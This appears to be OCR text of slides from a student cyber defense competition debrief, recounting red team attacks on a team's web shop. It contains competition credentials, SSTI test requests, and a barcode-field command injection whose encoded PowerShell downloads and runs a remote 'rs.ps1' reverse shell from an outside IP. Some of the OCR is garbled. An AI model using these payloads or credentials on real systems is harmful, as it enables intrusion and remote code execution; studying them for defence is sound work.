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Initial Access

e Default creds!

o cdc:cdc

o john.leguizamo:lordoftheflame
e /Zerologon

e (lear text passwords



Claude??

shell

# Login as aaron.hughes:theheuring
curl -sk —-c cookies.txt https://33.96.5.20/login
# ... get CSRF, login ...

# Inject SSTI payload into address
curl -sk -b cookies.txt -X POST
https://33.96.5.20/auth/update_address \
-d "csrf_token=XXX" \
-d "address={{7x7}}"
# View result
curl -sk -b cookies.txt
https://33.96.5.20/auth/getAddress
# Returns: {"address":"49"}




Al Hallucination??

curl 'https://www.team2.isucdc.com/auth/getAddress' --insecure \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:149.0)
-H ‘'Accept: *x/x' \
-H 'Accept-Language: en-US,en;q=0.9"' \
-H 'Accept-Encoding: gzip, deflate, br, zstd' \
-H 'Referer:
-H 'Connection: keep-alive' \

-H 'Cookie: session=.eJwlzMEKhCAUBdB_eeuISp9YPXNPVVJUFmgOiPn3GZjdWZ2XFfM
-H 'Sec-Fetch-Dest: empty' \
-H 'Sec-Fetch-Mode: cors' \
-H 'Sec-Fetch-Site: same-origin' \
-H 'Priority: u=4"' \
-H 'Pragma: no-cache' \
-H 'Cache-Control: no-cache' \
-H 'TE: trailers'
{"address" :"{{7x7}}"}




Fire Drill




Leaked Passwords




Fun encoding differences

{"barcode" :"test6 & powershell -e
aQByAGOAIAAOADKALgAXADAALgAYADEAOQAUADEANgABAC8AcgBzAC4AcABzAD
EAfABpAGUAeAA=; ", "cart":[{"id":1, "quantity":1}]}

aQBYAGOAIAAOADKALGAXADAALGAYA

aQBYAGOAIAAOADKALgAXADAALgAYADEA From Base64 ~ v
From Base64 S gBzAC4AcABZADEAfABpAGUAeAA:\ gBZAC4ACABZADEAfABpAGUAeAAZI
Alphabet
Alphabet -
A?Za-zo-9+/: v A-Za-z0-9+/=

Remove non-alphabet
chars

Aec 76 = 1

[] strict mode
Output

N, N, N, N a N N, N
prustu e | Mitet X

echo -n

llN“L rNULmN“L N“L4N”L9NUL . NULlNULONUL . N“L2NUL1NUL9N“L . Nl

‘irm 49.10.219.

Remove non-alphabet
chars

mec 76 = 1

[] strict mode
Output

Setod irm 49.10.219.164/rs.ps1|iex
ecode text A

Encoding

UTF-16LE (1200)

164/rs.psl|iex!’

aXJtIDQ5LJEWLJIX0S4XNJQvenMucHMXfGlleA=




Fun encoding differences (cont'd)

{"barcode" :"test6 & powershell -e
aQByAGOATIAAOADKALgAxXADAALgAYADEAOQAUADEANgABAC8AcgBzAC4AcABzAD
EAfABpAGUAeAA=; ", "cart":[{"id":1, "quantity":1}]}

aQBYAGOATIAAOADKALGAXADAALgAYA

~ T
FramiBasec N, gBZACAACABZADEATABDAGUAECAAS]

Alphabet
A-Za-z0-9+/=

v

Remove non-alphabet
chars

aec 76 = 1

[] strict mode
Output

irm 49.10.219.164/rs.ps1|iex
Decode text ~ 0

Encoding
UTF-16LE (1200)



Red Team s Very Loyal

Account Information

Email: leangreenmachine@team?.isucdc.com
Points: 124100
Admin: False

Shipping address: 965 Chartreuse Ave. SW 52498




Red Memes

| get
a call on
the phone

| give |
them even |

more '
information.

They
have
everything. It
must be
green team.

lose all}
flags.




Preguntas?



Brain Rot
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